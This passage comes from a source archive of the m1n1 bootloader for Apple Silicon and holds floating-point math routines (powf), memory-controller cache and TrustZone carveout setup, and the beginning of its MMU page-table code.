\ } while (0) #define GET_HIGH_WORD(hi, d) \ do { \ (hi) = asuint64(d) >> 32; \ } while (0) #define GET_LOW_WORD(lo, d) \ do { \ (lo) = (uint32_t)asuint64(d); \ } while (0) #define INSERT_WORDS(d, hi, lo) \ do { \ (d) = asdouble(((uint64_t)(hi) << 32) | (uint32_t)(lo)); \ } while (0) #define SET_HIGH_WORD(d, hi) INSERT_WORDS(d, hi, (uint32_t)asuint64(d)) #define SET_LOW_WORD(d, lo) INSERT_WORDS(d, asuint64(d) >> 32, lo) #define GET_FLOAT_WORD(w, d) \ do { \ (w) = asuint(d); \ } while (0) #define SET_FLOAT_WORD(d, w) \ do { \ (d) = asfloat(w); \ } while (0) /* error handling functions */ static inline float __math_xflowf(uint32_t sign, float y) { return eval_as_float(fp_barrierf(sign ? -y : y) * y); } static inline float __math_oflowf(uint32_t sign) { return __math_xflowf(sign, 0x1p97f); } static inline float __math_uflowf(uint32_t sign) { return __math_xflowf(sign, 0x1p-95f); } #endif m1n1-1.4.11/src/math/powf.c000066400000000000000000000131511453754430200152210ustar00rootroot00000000000000/* * Copyright (c) 2017-2018, Arm Limited. * SPDX-License-Identifier: MIT */ #include #include #include "exp2f_data.h" #include "libm.h" #include "powf_data.h" #define double_t double #define float_t float /* POWF_LOG2_POLY_ORDER = 5 EXP2F_TABLE_BITS = 5 ULP error: 0.82 (~ 0.5 + relerr*2^24) relerr: 1.27 * 2^-26 (Relative error ~= 128*Ln2*relerr_log2 + relerr_exp2) relerr_log2: 1.83 * 2^-33 (Relative error of logx.) relerr_exp2: 1.69 * 2^-34 (Relative error of exp2(ylogx).) */ #define N (1 << POWF_LOG2_TABLE_BITS) #define T __powf_log2_data.tab #define A __powf_log2_data.poly #define OFF 0x3f330000 float __math_invalidf(float x) { return (x - x) / (x - x); } /* Subnormal input is normalized so ix has negative biased exponent. Output is multiplied by N (POWF_SCALE) if TOINT_INTRINICS is set. */ static inline double_t log2_inline(uint32_t ix) { double_t z, r, r2, r4, p, q, y, y0, invc, logc; uint32_t iz, top, tmp; int k, i; /* x = 2^k z; where z is in range [OFF,2*OFF] and exact. The range is split into N subintervals. The ith subinterval contains z and c is near its center. */ tmp = ix - OFF; i = (tmp >> (23 - POWF_LOG2_TABLE_BITS)) % N; top = tmp & 0xff800000; iz = ix - top; k = (int32_t)top >> (23 - POWF_SCALE_BITS); /* arithmetic shift */ invc = T[i].invc; logc = T[i].logc; z = (double_t)asfloat(iz); /* log2(x) = log1p(z/c-1)/ln2 + log2(c) + k */ r = z * invc - 1; y0 = logc + (double_t)k; /* Pipelined polynomial evaluation to approximate log1p(r)/ln2. */ r2 = r * r; y = A[0] * r + A[1]; p = A[2] * r + A[3]; r4 = r2 * r2; q = A[4] * r + y0; q = p * r2 + q; y = y * r4 + q; return y; } #undef N #undef T #define N (1 << EXP2F_TABLE_BITS) #define T __exp2f_data.tab #define SIGN_BIAS (1 << (EXP2F_TABLE_BITS + 11)) /* The output of log2 and thus the input of exp2 is either scaled by N (in case of fast toint intrinsics) or not. The unscaled xd must be in [-1021,1023], sign_bias sets the sign of the result. */ static inline float exp2_inline(double_t xd, uint32_t sign_bias) { uint64_t ki, ski, t; double_t kd, z, r, r2, y, s; #if TOINT_INTRINSICS #define C __exp2f_data.poly_scaled /* N*x = k + r with r in [-1/2, 1/2] */ kd = roundtoint(xd); /* k */ ki = converttoint(xd); #else #define C __exp2f_data.poly #define SHIFT __exp2f_data.shift_scaled /* x = k/N + r with r in [-1/(2N), 1/(2N)] */ kd = eval_as_double(xd + SHIFT); ki = asuint64(kd); kd -= SHIFT; /* k/N */ #endif r = xd - kd; /* exp2(x) = 2^(k/N) * 2^r ~= s * (C0*r^3 + C1*r^2 + C2*r + 1) */ t = T[ki % N]; ski = ki + sign_bias; t += ski << (52 - EXP2F_TABLE_BITS); s = asdouble(t); z = C[0] * r + C[1]; r2 = r * r; y = C[2] * r + 1; y = z * r2 + y; y = y * s; return eval_as_float(y); } /* Returns 0 if not int, 1 if odd int, 2 if even int. The argument is the bit representation of a non-zero finite floating-point value. */ static inline int checkint(uint32_t iy) { int e = iy >> 23 & 0xff; if (e < 0x7f) return 0; if (e > 0x7f + 23) return 2; if (iy & ((1 << (0x7f + 23 - e)) - 1)) return 0; if (iy & (1 << (0x7f + 23 - e))) return 1; return 2; } static inline int zeroinfnan(uint32_t ix) { return 2 * ix - 1 >= 2u * 0x7f800000 - 1; } float powf(float x, float y) { uint32_t sign_bias = 0; uint32_t ix, iy; ix = asuint(x); iy = asuint(y); if (predict_false(ix - 0x00800000 >= 0x7f800000 - 0x00800000 || zeroinfnan(iy))) { /* Either (x < 0x1p-126 or inf or nan) or (y is 0 or inf or nan). */ if (predict_false(zeroinfnan(iy))) { if (2 * iy == 0) return issignalingf_inline(x) ? x + y : 1.0f; if (ix == 0x3f800000) return issignalingf_inline(y) ? x + y : 1.0f; if (2 * ix > 2u * 0x7f800000 || 2 * iy > 2u * 0x7f800000) return x + y; if (2 * ix == 2 * 0x3f800000) return 1.0f; if ((2 * ix < 2 * 0x3f800000) == !(iy & 0x80000000)) return 0.0f; /* |x|<1 && y==inf or |x|>1 && y==-inf. */ return y * y; } if (predict_false(zeroinfnan(ix))) { float_t x2 = x * x; if (ix & 0x80000000 && checkint(iy) == 1) x2 = -x2; /* Without the barrier some versions of clang hoist the 1/x2 and thus division by zero exception can be signaled spuriously. */ return iy & 0x80000000 ? fp_barrierf(1 / x2) : x2; } /* x and y are non-zero finite. */ if (ix & 0x80000000) { /* Finite x < 0. */ int yint = checkint(iy); if (yint == 0) return __math_invalidf(x); if (yint == 1) sign_bias = SIGN_BIAS; ix &= 0x7fffffff; } if (ix < 0x00800000) { /* Normalize subnormal x so exponent becomes negative. */ ix = asuint(x * 0x1p23f); ix &= 0x7fffffff; ix -= 23 << 23; } } double_t logx = log2_inline(ix); double_t ylogx = y * logx; /* cannot overflow, y is single prec. */ if (predict_false((asuint64(ylogx) >> 47 & 0xffff) >= asuint64(126.0 * POWF_SCALE) >> 47)) { /* |y*log(x)| >= 126. */ if (ylogx > 0x1.fffffffd1d571p+6 * POWF_SCALE) return __math_oflowf(sign_bias); if (ylogx <= -150.0 * POWF_SCALE) return __math_uflowf(sign_bias); } return exp2_inline(ylogx, sign_bias); } m1n1-1.4.11/src/math/powf_data.c000066400000000000000000000030411453754430200162070ustar00rootroot00000000000000/* * Data definition for powf. * * Copyright (c) 2017-2018, Arm Limited. * SPDX-License-Identifier: MIT */ #include "powf_data.h" const struct powf_log2_data __powf_log2_data = { .tab = { {0x1.661ec79f8f3bep+0, -0x1.efec65b963019p-2 * POWF_SCALE}, {0x1.571ed4aaf883dp+0, -0x1.b0b6832d4fca4p-2 * POWF_SCALE}, {0x1.49539f0f010bp+0, -0x1.7418b0a1fb77bp-2 * POWF_SCALE}, {0x1.3c995b0b80385p+0, -0x1.39de91a6dcf7bp-2 * POWF_SCALE}, {0x1.30d190c8864a5p+0, -0x1.01d9bf3f2b631p-2 * POWF_SCALE}, {0x1.25e227b0b8eap+0, -0x1.97c1d1b3b7afp-3 * POWF_SCALE}, {0x1.1bb4a4a1a343fp+0, -0x1.2f9e393af3c9fp-3 * POWF_SCALE}, {0x1.12358f08ae5bap+0, -0x1.960cbbf788d5cp-4 * POWF_SCALE}, {0x1.0953f419900a7p+0, -0x1.a6f9db6475fcep-5 * POWF_SCALE}, {0x1p+0, 0x0p+0 * POWF_SCALE}, {0x1.e608cfd9a47acp-1, 0x1.338ca9f24f53dp-4 * POWF_SCALE}, {0x1.ca4b31f026aap-1, 0x1.476a9543891bap-3 * POWF_SCALE}, {0x1.b2036576afce6p-1, 0x1.e840b4ac4e4d2p-3 * POWF_SCALE}, {0x1.9c2d163a1aa2dp-1, 0x1.40645f0c6651cp-2 * POWF_SCALE}, {0x1.886e6037841edp-1, 0x1.88e9c2c1b9ff8p-2 * POWF_SCALE}, {0x1.767dcf5534862p-1, 0x1.ce0a44eb17bccp-2 * POWF_SCALE}, }, .poly = { 0x1.27616c9496e0bp-2 * POWF_SCALE, -0x1.71969a075c67ap-2 * POWF_SCALE, 0x1.ec70a6ca7baddp-2 * POWF_SCALE, -0x1.7154748bef6c8p-1 * POWF_SCALE, 0x1.71547652ab82bp0 * POWF_SCALE, }}; m1n1-1.4.11/src/math/powf_data.h000066400000000000000000000010631453754430200162160ustar00rootroot00000000000000/* * Copyright (c) 2017-2018, Arm Limited. * SPDX-License-Identifier: MIT */ #ifndef _POWF_DATA_H #define _POWF_DATA_H #include "exp2f_data.h" #include "libm.h" #define POWF_LOG2_TABLE_BITS 4 #define POWF_LOG2_POLY_ORDER 5 #if TOINT_INTRINSICS #define POWF_SCALE_BITS EXP2F_TABLE_BITS #else #define POWF_SCALE_BITS 0 #endif #define POWF_SCALE ((double)(1 << POWF_SCALE_BITS)) extern const struct powf_log2_data { struct { double invc, logc; } tab[1 << POWF_LOG2_TABLE_BITS]; double poly[POWF_LOG2_POLY_ORDER]; } __powf_log2_data; #endif m1n1-1.4.11/src/mcc.c000066400000000000000000000312211453754430200140550ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "mcc.h" #include "adt.h" #include "hv.h" #include "memory.h" #include "string.h" #include "utils.h" static bool mcc_initialized = false; #define MAX_MCC_INSTANCES 16 #define T8103_PLANES 4 #define T8103_PLANE_STRIDE 0x40000 #define T8103_DCS_STRIDE 0x40000 #define T6000_PLANES 4 #define T6000_PLANE_OFFSET 0 #define T6000_PLANE_STRIDE 0x40000 #define T6000_GLOBAL_OFFSET 0x100000 #define T6000_DCS_OFFSET 0x200000 #define T6000_DCS_STRIDE 0x100000 #define T6000_DCS_COUNT 4 #define T6031_PLANE_OFFSET 0 #define T6031_PLANE_STRIDE 0x40000 #define T6031_GLOBAL_OFFSET 0x100000 #define T6031_DCS_OFFSET 0x400000 #define T6031_DCS_STRIDE 0x200000 #define PLANE_TZ_MAX_REGS 4 struct tz_regs { u32 count; u32 stride; u32 start; u32 end; u32 enable; }; struct tz_regs t8103_tz_regs = { .count = 4, .stride = 0x10, .start = 0x6a0, .end = 0x6a4, .enable = 0x6a8, }; struct tz_regs t602x_tz_regs = { .count = 4, .stride = 0x14, .start = 0x6bc, .end = 0x6c0, .enable = 0x6c8, }; struct tz_regs t603x_tz_regs = { .count = 4, .stride = 0x14, .start = 0x6d8, .end = 0x6dc, .enable = 0x6e4, }; #define PLANE_CACHE_ENABLE 0x1c00 #define PLANE_CACHE_STATUS 0x1c04 #define T8103_CACHE_STATUS_DATA_COUNT GENMASK(14, 10) #define T8103_CACHE_STATUS_TAG_COUNT GENMASK(9, 5) #define T6000_CACHE_STATUS_DATA_COUNT GENMASK(13, 9) #define T6000_CACHE_STATUS_TAG_COUNT GENMASK(8, 4) #define T6000_CACHE_WAYS 12 #define T6000_CACHE_STATUS_MASK (T6000_CACHE_STATUS_DATA_COUNT | T6000_CACHE_STATUS_TAG_COUNT) #define T6000_CACHE_STATUS_VAL \ (FIELD_PREP(T6000_CACHE_STATUS_DATA_COUNT, T6000_CACHE_WAYS) | \ FIELD_PREP(T6000_CACHE_STATUS_TAG_COUNT, T6000_CACHE_WAYS)) #define T6031_CACHE_WAYS 12 #define T6031_CACHE_STATUS_MASK (T6000_CACHE_STATUS_DATA_COUNT | T6000_CACHE_STATUS_TAG_COUNT) #define T6031_CACHE_STATUS_VAL \ (FIELD_PREP(T6000_CACHE_STATUS_DATA_COUNT, T6031_CACHE_WAYS) | \ FIELD_PREP(T6000_CACHE_STATUS_TAG_COUNT, T6031_CACHE_WAYS)) #define T8103_CACHE_WAYS 16 #define T8103_CACHE_STATUS_MASK (T8103_CACHE_STATUS_DATA_COUNT | T8103_CACHE_STATUS_TAG_COUNT) #define T8103_CACHE_STATUS_VAL \ (FIELD_PREP(T8103_CACHE_STATUS_DATA_COUNT, T8103_CACHE_WAYS) | \ FIELD_PREP(T8103_CACHE_STATUS_TAG_COUNT, T8103_CACHE_WAYS)) #define T8112_CACHE_DISABLE 0x424 #define CACHE_ENABLE_TIMEOUT 10000 #define T8103_DCC_DRAMCFG0 0xdc4 #define T8103_DCC_DRAMCFG1 0xdbc #define T8103_DCC_DRAMCFG0_DEFAULT 0x813057f #define T8103_DCC_DRAMCFG1_DEFAULT 0x1800180 #define T8103_DCC_DRAMCFG0_FAST 0x133 #define T8103_DCC_DRAMCFG1_FAST 0x55555340 #define T6000_DCC_DRAMCFG 0x13cc #define T6000_DCC_DRAMCFG_DEFAULT 0x55551555 #define T6000_DCC_DRAMCFG_FAST 0xffff0000 size_t mcc_carveout_count; struct mcc_carveout mcc_carveouts[PLANE_TZ_MAX_REGS + 1]; struct mcc_regs { u64 plane_base; u64 plane_stride; int plane_count; u64 global_base; u64 dcs_base; u64 dcs_stride; int dcs_count; u32 cache_enable_val; int cache_ways; u32 cache_status_mask; u32 cache_status_val; u32 cache_disable; struct tz_regs *tz; }; static int mcc_count; static struct mcc_regs mcc_regs[MAX_MCC_INSTANCES]; static u32 plane_read32(int mcc, int plane, u64 offset) { return read32(mcc_regs[mcc].plane_base + plane * mcc_regs[mcc].plane_stride + offset); } static void plane_write32(int mcc, int plane, u64 offset, u32 value) { write32(mcc_regs[mcc].plane_base + plane * mcc_regs[mcc].plane_stride + offset, value); } static int plane_poll32(int mcc, int plane, u64 offset, u32 mask, u32 target, u32 timeout) { return poll32(mcc_regs[mcc].plane_base + plane * mcc_regs[mcc].plane_stride + offset, mask, target, timeout); } int mcc_enable_cache(void) { int ret = 0; if (!mcc_initialized) return -1; /* The 6030 memory controller supports setting a waymask, but the desktop chips do not appear to use it */ for (int mcc = 0; mcc < mcc_count; mcc++) { for (int plane = 0; plane < mcc_regs[mcc].plane_count; plane++) { plane_write32(mcc, plane, PLANE_CACHE_ENABLE, mcc_regs[mcc].cache_enable_val); if (plane_poll32(mcc, plane, PLANE_CACHE_STATUS, mcc_regs[mcc].cache_status_mask, mcc_regs[mcc].cache_status_val, CACHE_ENABLE_TIMEOUT)) { printf("MCC: timeout while enabling cache for MCC %d plane %d: 0x%x\n", mcc, plane, plane_read32(mcc, plane, PLANE_CACHE_STATUS)); ret = -1; } else if (mcc_regs[mcc].cache_disable) { plane_write32(mcc, plane, mcc_regs[mcc].cache_disable, 0); } } } if (!ret) printf("MCC: System level cache enabled\n"); return ret; } int mcc_unmap_carveouts(void) { if (!mcc_initialized) return -1; mcc_carveout_count = 0; memset(mcc_carveouts, 0, sizeof mcc_carveouts); // All MCCs and planes should have identical configs // Note: For unhandled machines, the TZ regions can be found (on m1, m2, m3) by looking at // region-id-2 and region-id-4 on a booted macos, in the /chosen/carveout-memory-map DT node. // This can be used along with dumping the mcc reg space to find the correct start/end/enable // above. for (u32 i = 0; i < mcc_regs[0].tz->count; i++) { uint64_t off = mcc_regs[0].tz->stride * i; uint64_t start = plane_read32(0, 0, mcc_regs[0].tz->start + off); uint64_t end = plane_read32(0, 0, mcc_regs[0].tz->end + off); bool enabled = plane_read32(0, 0, mcc_regs[0].tz->enable + off); if (enabled) { if (!start || start == end) { printf("MMU: TZ%d region has bad bounds 0x%lx..0x%lx (iBoot bug?)\n", i, start, end); continue; } start = start << 12; end = (end + 1) << 12; start |= ram_base; end |= ram_base; printf("MMU: Unmapping TZ%d region at 0x%lx..0x%lx\n", i, start, end); mmu_rm_mapping(start, end - start); mmu_rm_mapping(start | REGION_RWX_EL0, end - start); mmu_rm_mapping(start | REGION_RW_EL0, end - start); mmu_rm_mapping(start | REGION_RX_EL1, end - start); mcc_carveouts[mcc_carveout_count].base = start; mcc_carveouts[mcc_carveout_count].size = end - start; mcc_carveout_count++; } } return 0; } int mcc_init_t8103(int node, int *path, bool t8112) { printf("MCC: Initializing T8103 MCC...\n"); mcc_count = 1; mcc_regs[0].plane_stride = T8103_PLANE_STRIDE; mcc_regs[0].plane_count = T8103_PLANES; mcc_regs[0].dcs_stride = T8103_DCS_STRIDE; if (adt_get_reg(adt, path, "reg", 0, &mcc_regs[0].global_base, NULL)) { printf("MCC: Failed to get reg property 0!\n"); return -1; } if (adt_get_reg(adt, path, "reg", 1, &mcc_regs[0].plane_base, NULL)) { printf("MCC: Failed to get reg property 1!\n"); return -1; } if (adt_get_reg(adt, path, "reg", 2, &mcc_regs[0].dcs_base, NULL)) { printf("MCC: Failed to get reg property 2!\n"); return -1; } u32 val; if (ADT_GETPROP(adt, node, "dcs_num_channels", &val) < 0) { printf("MCC: Failed to get dcs_num_channels property!\n"); return -1; } mcc_regs[0].dcs_count = val; mcc_regs[0].cache_enable_val = T8103_CACHE_WAYS; mcc_regs[0].cache_ways = T8103_CACHE_WAYS; mcc_regs[0].cache_status_mask = T8103_CACHE_STATUS_MASK; mcc_regs[0].cache_status_val = T8103_CACHE_STATUS_VAL; mcc_regs[0].cache_disable = t8112 ? T8112_CACHE_DISABLE : 0; mcc_regs[0].tz = &t8103_tz_regs; printf("MCC: Initialized T8103 MCC (%d channels)\n", val); mcc_initialized = true; return 0; } int mcc_init_t6000(int node, int *path, bool t602x) { u32 reg_len; u32 reg_offset = t602x ? 2 : 0; if (!adt_getprop(adt, node, "reg", ®_len)) { printf("MCC: Failed to get reg property!\n"); return -1; } mcc_count = reg_len / 16 - reg_offset; printf("MCC: Initializing T%x MCCs (%d instances)...\n", t602x ? 0x6020 : 0x6000, mcc_count); if (mcc_count > MAX_MCC_INSTANCES) { printf("MCC: Too many instances, increase MAX_MCC_INSTANCES!\n"); mcc_count = MAX_MCC_INSTANCES; } for (int i = 0; i < mcc_count; i++) { u64 base; if (adt_get_reg(adt, path, "reg", i + reg_offset, &base, NULL)) { printf("MCC: Failed to get reg index %d!\n", i + reg_offset); return -1; } mcc_regs[i].plane_base = base + T6000_PLANE_OFFSET; mcc_regs[i].plane_stride = T6000_PLANE_STRIDE; mcc_regs[i].plane_count = T6000_PLANES; mcc_regs[i].global_base = base + T6000_GLOBAL_OFFSET; mcc_regs[i].dcs_base = base + T6000_DCS_OFFSET; mcc_regs[i].dcs_stride = T6000_DCS_STRIDE; mcc_regs[i].dcs_count = T6000_DCS_COUNT; mcc_regs[i].cache_enable_val = t602x ? 1 : T6000_CACHE_WAYS; mcc_regs[i].cache_ways = T6000_CACHE_WAYS; mcc_regs[i].cache_status_mask = T6000_CACHE_STATUS_MASK; mcc_regs[i].cache_status_val = T6000_CACHE_STATUS_VAL; mcc_regs[i].cache_disable = 0; mcc_regs[i].tz = t602x ? &t602x_tz_regs : &t8103_tz_regs; } printf("MCC: Initialized T%x MCCs (%d instances, %d planes, %d channels)\n", t602x ? 0x6020 : 0x6000, mcc_count, mcc_regs[0].plane_count, mcc_regs[0].dcs_count); mcc_initialized = true; return 0; } int mcc_init_t6031(int node, int *path) { u32 reg_len; u32 reg_offset = 3; if (!adt_getprop(adt, node, "reg", ®_len)) { printf("MCC: Failed to get reg property!\n"); return -1; } mcc_count = reg_len / 16 - reg_offset; printf("MCC: Initializing T6031 MCCs (%d instances)...\n", mcc_count); if (mcc_count > MAX_MCC_INSTANCES) { printf("MCC: Too many instances, increase MAX_MCC_INSTANCES!\n"); mcc_count = MAX_MCC_INSTANCES; } u32 plane_count = 0; u32 dcs_count = 0; if (!ADT_GETPROP(adt, node, "dcs-count-per-amcc", &dcs_count)) { printf("MCC: Failed to get dcs count!\n"); return -1; } if (!ADT_GETPROP(adt, node, "plane-count-per-amcc", &plane_count)) { printf("MCC: Failed to get plane count!\n"); return -1; } for (int i = 0; i < mcc_count; i++) { u64 base; if (adt_get_reg(adt, path, "reg", i + reg_offset, &base, NULL)) { printf("MCC: Failed to get reg index %d!\n", i + reg_offset); return -1; } mcc_regs[i].plane_base = base + T6031_PLANE_OFFSET; mcc_regs[i].plane_stride = T6031_PLANE_STRIDE; mcc_regs[i].plane_count = plane_count; mcc_regs[i].global_base = base + T6031_GLOBAL_OFFSET; mcc_regs[i].dcs_base = base + T6031_DCS_OFFSET; mcc_regs[i].dcs_stride = T6031_DCS_STRIDE; mcc_regs[i].dcs_count = dcs_count; mcc_regs[i].cache_enable_val = 1; mcc_regs[i].cache_ways = T6031_CACHE_WAYS; mcc_regs[i].cache_status_mask = T6031_CACHE_STATUS_MASK; mcc_regs[i].cache_status_val = T6031_CACHE_STATUS_VAL; mcc_regs[i].cache_disable = 0; mcc_regs[i].tz = &t603x_tz_regs; } printf("MCC: Initialized T6031 MCCs (%d instances, %d planes, %d channels)\n", mcc_count, mcc_regs[0].plane_count, mcc_regs[0].dcs_count); mcc_initialized = true; return 0; } int mcc_init(void) { int path[8]; int node = adt_path_offset_trace(adt, "/arm-io/mcc", path); if (node < 0) { printf("MCC: MCC node not found!\n"); return -1; } if (adt_is_compatible(adt, node, "mcc,t8103")) { return mcc_init_t8103(node, path, false); } else if (adt_is_compatible(adt, node, "mcc,t8112")) { return mcc_init_t8103(node, path, true); } else if (adt_is_compatible(adt, node, "mcc,t6000")) { return mcc_init_t6000(node, path, false); } else if (adt_is_compatible(adt, node, "mcc,t6020")) { return mcc_init_t6000(node, path, true); } else if (adt_is_compatible(adt, node, "mcc,t6031")) { return mcc_init_t6031(node, path); } else { printf("MCC: Unsupported version:%s\n", adt_get_property(adt, node, "compatible")->value); return -1; } } m1n1-1.4.11/src/mcc.h000066400000000000000000000004611453754430200140640ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef MCC_H #define MCC_H #include "types.h" struct mcc_carveout { u64 base; u64 size; }; extern size_t mcc_carveout_count; extern struct mcc_carveout mcc_carveouts[]; int mcc_init(void); int mcc_unmap_carveouts(void); int mcc_enable_cache(void); #endif m1n1-1.4.11/src/memory.c000066400000000000000000000443051453754430200146320ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "memory.h" #include "adt.h" #include "assert.h" #include "cpu_regs.h" #include "fb.h" #include "gxf.h" #include "malloc.h" #include "mcc.h" #include "smp.h" #include "string.h" #include "utils.h" #include "xnuboot.h" #define PAGE_SIZE 0x4000 #define CACHE_LINE_SIZE 64 #define CACHE_RANGE_OP(func, op) \ void func(void *addr, size_t length) \ { \ u64 p = (u64)addr; \ u64 end = p + length; \ while (p < end) { \ cacheop(op, p); \ p += CACHE_LINE_SIZE; \ } \ } CACHE_RANGE_OP(ic_ivau_range, "ic ivau") CACHE_RANGE_OP(dc_ivac_range, "dc ivac") CACHE_RANGE_OP(dc_zva_range, "dc zva") CACHE_RANGE_OP(dc_cvac_range, "dc cvac") CACHE_RANGE_OP(dc_cvau_range, "dc cvau") CACHE_RANGE_OP(dc_civac_range, "dc civac") extern u8 _stack_top[]; uint64_t ram_base = 0; static inline u64 read_sctlr(void) { sysop("isb"); return mrs(SCTLR_EL1); } static inline void write_sctlr(u64 val) { msr(SCTLR_EL1, val); sysop("isb"); } #define VADDR_L3_INDEX_BITS 11 #define VADDR_L2_INDEX_BITS 11 // We treat two concatenated L1 page tables as one #define VADDR_L1_INDEX_BITS 12 #define VADDR_L3_OFFSET_BITS 14 #define VADDR_L2_OFFSET_BITS 25 #define VADDR_L1_OFFSET_BITS 36 #define VADDR_L1_ALIGN_MASK GENMASK(VADDR_L1_OFFSET_BITS - 1, VADDR_L2_OFFSET_BITS) #define VADDR_L2_ALIGN_MASK GENMASK(VADDR_L2_OFFSET_BITS - 1, VADDR_L3_OFFSET_BITS) #define PTE_TARGET_MASK GENMASK(49, VADDR_L3_OFFSET_BITS) #define ENTRIES_PER_L1_TABLE BIT(VADDR_L1_INDEX_BITS) #define ENTRIES_PER_L2_TABLE BIT(VADDR_L2_INDEX_BITS) #define ENTRIES_PER_L3_TABLE BIT(VADDR_L3_INDEX_BITS) #define IS_PTE(pte) ((pte) && pte & PTE_VALID) #define L1_IS_TABLE(pte) (IS_PTE(pte) && FIELD_GET(PTE_TYPE, pte) == PTE_TABLE) #define L1_IS_BLOCK(pte) (IS_PTE(pte) && FIELD_GET(PTE_TYPE, pte) == PTE_BLOCK) #define L2_IS_TABLE(pte) (IS_PTE(pte) && FIELD_GET(PTE_TYPE, pte) == PTE_TABLE) #define L2_IS_BLOCK(pte) (IS_PTE(pte) && FIELD_GET(PTE_TYPE, pte) == PTE_BLOCK) #define L3_IS_BLOCK(pte) (IS_PTE(pte) && FIELD_GET(PTE_TYPE, pte) == PTE_PAGE) /* * We use 16KB pages which results in the following virtual address space: * * [L0 index] [L1 index] [L2 index] [L3 index] [page offset] * 1 bit 11 bits 11 bits 11 bits 14 bits * * To simplify things we treat the L1 page table as a concatenated table, * which results in the following layout: * * [L1 index] [L2 index] [L3 index] [page offset] * 12 bits 11 bits 11 bits 14 bits * * We initialize one double-size L1 table which covers the entire virtual memory space, * point to the two halves in the single L0 table and then create L2/L3 tables on demand. */ /* * SPRR mappings interpret these bits as a 4-bit index as follows * [AP1][AP0][PXN][UXN] */ #define SPRR_INDEX(perm) \ (((PTE_AP_RO & (perm)) ? 0b1000 : 0) | ((PTE_AP_EL0 & (perm)) ? 0b0100 : 0) | \ ((PTE_UXN & (perm)) ? 0b0010 : 0) | ((PTE_PXN & (perm)) ? 0b0001 : 0)) enum SPRR_val_t { EL0_GL0, ELrx_GL0, ELr_GL0, ELrw_GL0, EL0_GLrx, ELrx_GLrx, ELr_GLrx, EL0_GLrx_ALT, EL0_GLr, ELx_GLr, ELr_GLr, ELrw_GLr, EL0_GLrw, ELrx_GLrw, ELr_GLrw, ELrw_GLrw, }; /* * With SPRR enabled, RWX mappings get downgraded to RW. */ #define SPRR_PERM(ap, val) (((u64)val) << (4 * SPRR_INDEX(ap))) #define SPRR_DEFAULT_PERM_EL1 \ SPRR_PERM(PERM_RO_EL0, ELrw_GLrw) | SPRR_PERM(PERM_RW_EL0, ELrw_GLrw) | \ SPRR_PERM(PERM_RX_EL0, ELrx_GLrx) | SPRR_PERM(PERM_RWX_EL0, ELrw_GLrw) | \ SPRR_PERM(PERM_RO, ELr_GLr) | SPRR_PERM(PERM_RW, ELrw_GLrw) | \ SPRR_PERM(PERM_RX, ELrx_GLrx) | SPRR_PERM(PERM_RWX, ELrw_GLrw) #define SPRR_DEFAULT_PERM_EL0 \ SPRR_PERM(PERM_RO_EL0, ELr_GLr) | SPRR_PERM(PERM_RW_EL0, ELrw_GLrw) | \ SPRR_PERM(PERM_RX_EL0, ELrx_GLrx) | SPRR_PERM(PERM_RWX_EL0, ELrx_GLrx) | \ SPRR_PERM(PERM_RO, ELr_GLr) | SPRR_PERM(PERM_RW, ELrw_GLrw) | \ SPRR_PERM(PERM_RX, ELrx_GLrx) | SPRR_PERM(PERM_RWX, ELrw_GLrw) /* * aarch64 allows to configure attribute sets for up to eight different memory * types. we need normal memory and two types of device memory (nGnRnE and * nGnRE) in m1n1. * The indexes here are selected arbitrarily: A page table entry * contains a field to select one of these which will then be used * to select the corresponding memory access flags from MAIR. */ #define MAIR_SHIFT_NORMAL (MAIR_IDX_NORMAL * 8) #define MAIR_SHIFT_NORMAL_NC (MAIR_IDX_NORMAL_NC * 8) #define MAIR_SHIFT_DEVICE_nGnRnE (MAIR_IDX_DEVICE_nGnRnE * 8) #define MAIR_SHIFT_DEVICE_nGnRE (MAIR_IDX_DEVICE_nGnRE * 8) #define MAIR_SHIFT_DEVICE_nGRE (MAIR_IDX_DEVICE_nGRE * 8) #define MAIR_SHIFT_DEVICE_GRE (MAIR_IDX_DEVICE_GRE * 8) /* * https://developer.arm.com/documentation/ddi0500/e/system-control/aarch64-register-descriptions/memory-attribute-indirection-register--el1 * * MAIR_ATTR_NORMAL_DEFAULT sets Normal Memory, Outer Write-back non-transient, * Inner Write-back non-transient, R=1, W=1 * MAIR_ATTR_DEVICE_nGnRnE sets Device-nGnRnE memory * MAIR_ATTR_DEVICE_nGnRE sets Device-nGnRE memory */ #define MAIR_ATTR_NORMAL_DEFAULT 0xffUL #define MAIR_ATTR_NORMAL_NC 0x44UL #define MAIR_ATTR_DEVICE_nGnRnE 0x00UL #define MAIR_ATTR_DEVICE_nGnRE 0x04UL #define MAIR_ATTR_DEVICE_nGRE 0x08UL #define MAIR_ATTR_DEVICE_GRE 0x0cUL static u64 *mmu_pt_L0; static u64 *mmu_pt_L1; static u64 *mmu_pt_get_l2(u64 from) { u64 l1idx = from >> VADDR_L1_OFFSET_BITS; assert(l1idx < ENTRIES_PER_L1_TABLE); u64 l1d = mmu_pt_L1[l1idx]; if (L1_IS_TABLE(l1d)) return (u64 *)(l1d & PTE_TARGET_MASK); u64 *l2 = (u64 *)memalign(PAGE_SIZE, ENTRIES_PER_L2_TABLE * sizeof(u64)); assert(!IS_PTE(l1d)); memset64(l2, 0, ENTRIES_PER_L2_TABLE * sizeof(u64)); l1d = ((u64)l2) | FIELD_PREP(PTE_TYPE, PTE_TABLE) | PTE_VALID; mmu_pt_L1[l1idx] = l1d; return l2; } static void mmu_pt_map_l2(u64 from, u64 to, u64 size) { assert((from & MASK(VADDR_L2_OFFSET_BITS)) == 0); assert((to & PTE_TARGET_MASK & MASK(VADDR_L2_OFFSET_BITS)) == 0); assert((size & MASK(VADDR_L2_OFFSET_BITS)) == 0); to |= FIELD_PREP(PTE_TYPE, PTE_BLOCK); for (; size; size -= BIT(VADDR_L2_OFFSET_BITS)) { u64 idx = (from >> VADDR_L2_OFFSET_BITS) & MASK(VADDR_L2_INDEX_BITS); u64 *l2 = mmu_pt_get_l2(from); if (L2_IS_TABLE(l2[idx])) free((void *)(l2[idx] & PTE_TARGET_MASK)); l2[idx] = to; from += BIT(VADDR_L2_OFFSET_BITS); to += BIT(VADDR_L2_OFFSET_BITS); } } static u64 *mmu_pt_get_l3(u64 from) { u64 *l2 = mmu_pt_get_l2(from); u64 l2idx = (from >> VADDR_L2_OFFSET_BITS) & MASK(VADDR_L2_INDEX_BITS); assert(l2idx < ENTRIES_PER_L2_TABLE); u64 